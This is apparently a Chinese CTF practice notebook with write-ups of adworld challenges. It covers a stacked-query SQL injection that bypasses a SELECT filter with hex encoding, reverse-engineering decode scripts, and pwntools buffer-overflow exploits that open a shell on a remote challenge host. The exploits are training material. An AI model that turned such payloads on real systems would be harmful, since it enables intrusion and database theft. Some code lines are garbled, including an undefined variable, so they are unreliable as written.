攻防世界web部分

[[攻防世界web部分]] 0x0e supersqli Untitled.png Untitled 1.png Untitled 2.png 因为select被过滤了，所以先将select * from 1919810931114514进行16进制编码再通过构造payload得;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#进而得到flagprepare…from…是预处理语句，会进行编码转换。execute用来执行由SQLPrepare创建的SQL语句。SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。 open-source \#include \#include int main(int argc, char *argv[]) { if (argc != 4) { printf("what?\n"); exit(1); } unsigned int first = atoi(argv[1]); if (first != 0xcafe) { printf("you are wrong, sorry.\n"); exit(2); } unsigned int second = atoi(argv[2]); if (second % 5 == 3 || second % 17 != 8) { printf("ha, you won't get it!\n"); exit(3); } if (strcmp("h4cky0u", argv[3])) { printf("so close, dude!\n"); exit(4); } printf("Brr wrrr grr\n"); unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) - 1615810207; printf("Get your key: "); printf("%x\n", hash); return 0; } atoi (表示ascii to integer) ./string 51966 25 h4cky0u 或者 去判断 \#include \#include int main() { unsigned int hash = 0xcafe * 31337 + 8 * 11 + strlen("h4cky0u") - 1615810207; printf("Get your key: "); printf("%x\n", hash); return 0; } Untitled 3.png hello ctf Untitled 4.png Untitled 5.png simple-unpack ![[847be14b3e724782b658f2dda2e8045b.txt]] Untitled 6.png Untitled 7.png 这是有壳啊 Untitled 8.png Untitled 9.png Untitled 10.png Untitled 11.png logmein ![[a7554d316da840d3a381e4e8348201e9.txt]] Untitled 12.png Untitled 13.png Untitled 14.png Untitled 15.png 适量N Untitled 16.png var28="harambe" var20=":\"AL_RT^L*.?+6/46" flag="" for i in range(len(var20)): f = ord(var20[i]) ^ ord(var28[i%7]) flag +=chr(f) print(flag) Untitled 17.png no-strings-attached ![[554e0986d6db4c19b56cfdb22f13c834.txt]] Untitled 18.png Untitled 19.png X追踪一下 Untitled 20.png Untitled 21.png 要解密 Untitled 22.png Untitled 23.png buf =[ 0x3a,0x14,0x00,0x00,0x36,0x14,0x00,0x00,0x37,0x14,0x00,0x00,0x3b,0x14,0x00, 0x00,0x80,0x14,0x00,0x00,0x7a,0x14,0x00,0x00,0x71,0x14, 0x00,0x00,0x78,0x14,0x00,0x00,0x63,0x14,0x00,0x00,0x66, 0x14,0x00,0x00,0x73,0x14,0x00,0x00,0x67,0x14,0x00,0x00, 0x62,0x14,0x00,0x00,0x65,0x14,0x00,0x00,0x73,0x14,0x00, 0x00,0x60,0x14,0x00,0x00,0x6b,0x14,0x00,0x00,0x71,0x14, 0x00,0x00,0x78,0x14,0x00,0x00,0x6a,0x14,0x00,0x00,0x73, 0x14,0x00,0x00,0x70,0x14,0x00,0x00,0x64,0x14,0x00,0x00, 0x78,0x14,0x00,0x00,0x6e,0x14,0x00,0x00,0x70,0x14,0x00, 0x00,0x70,0x14,0x00,0x00,0x64,0x14,0x00,0x00,0x70,0x14, 0x00,0x00,0x64,0x14,0x00,0x00,0x6e,0x14,0x00,0x00,0x7b, 0x14,0x00,0x00,0x76,0x14,0x00,0x00,0x78,0x14,0x00,0x00, 0x6a,0x14,0x00,0x00,0x73,0x14,0x00,0x00,0x7b,0x14,0x00, 0x00,0x80,0x14,0x00,0x00] f=[] for i in range(0,len(buf),4): f.append(buf[i]) print(f) fl="" nu=[1,2,3,4,5] for j in range(len(f)): fl += chr(f[j]-nu[j%5]) print(fl) getit ![[e3dd9674429f4ce1a25c08ea799fc027.txt]] Untitled 24.png Untitled 25.png s = 'c61b68366edeb7bdce3c6820314b7498' flag = '' for i in range(len(s)): if i & 1: t = 1 else: t = -1 flag += chr(ord(s[i]) + t) print (flag) \#得出结果： b70c59275fcfa8aebf2d5911223c6589 csaw2013reversing2 Untitled 26.png Untitled 27.png 打开是必须勾选以写入模式加载 Untitled 28.png Untitled 29.png Untitled 30.png Untitled 31.png Untitled 32.png 参考 [!info] Winny的一亩三分地本来是搞Web的（虽然菜的抠脚），但是战队缺reverse和pwn的人，正好自己对这方面也很有兴趣，于是就转了方向。刚学几天，先做上几道攻防世界的新手训练题。把自己做题的过程和学到的知识记录下来。由于我在做的过程中很多时候都是瞎试试出来的，所以记录的时候分成两部分，第一部分是【做题实录】，就是我做题的真实思考过程，flag可能是瞎猜猜出来的，有很多的运气成分在。第二部分是【分析总结】，是我在.https://winny.work/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C%E9%80%86%E5%90%91%E6%96%B0%E6%89%8B%E8%AE%AD%E7%BB%83/435.html EasyRE 看见奇怪的东西 Untitled 33.png 是个幌子 Untitled 34.png 逆向算法翻车 level0 Untitled 35.png 没啥东西 ![[291721f42a044f50a2aead748d539df0.txt]] Untitled 36.png 有提示 点进去 Untitled 37.png 可以输入0x200的东西 but *buf的长度为0x80 Untitled 38.png from pwn import * r = remote("111.200.241.244",58379) # 服务器 payload = b'A' * 0x80 + b'a' * 0x8 + p64(0x00400596) \#0x80的大小加leave的0x8 改写ret为callsystem的头 r.recvuntil("Hello, World\n") \#等待指定字符 p.recv() \#接收输出 r.sendline(payload) \#发送payload r.interactive() \#交互 Untitled 39.png level2 ![[1ab77c073b4f4524b73e086d063f884e.txt]] Untitled 40.png 漏洞函数在前 Untitled 41.png Untitled 42.png 0x88 可被0x100覆盖溢出找想要跳的add system 函数 0x08048320 Untitled 43.png 需要system('/bin/shell') 找到字符 0x0804a024 Untitled 44.png 构建pyalod Untitled 45.png payload=b'a'*(0x88+0x4)+p32(0x08048320)+p32(0)+p32(0x0804a024) Untitled 46.png from pwn import * p = remote('111.200.241.244', 60256) \#payload = b'a' * (0x88 + 0x4) + p32(0x0804845c) + p32(0x0804A024) \#call system的地址 payload=b'a'*(0x88+0x4)+p32(0x08048320)+p32(0)+p32(0x0804a024) \#p.recvuntil("Input:\n") p.recv() p.sendline(payload) p.interactive() 两种方式都可以 level3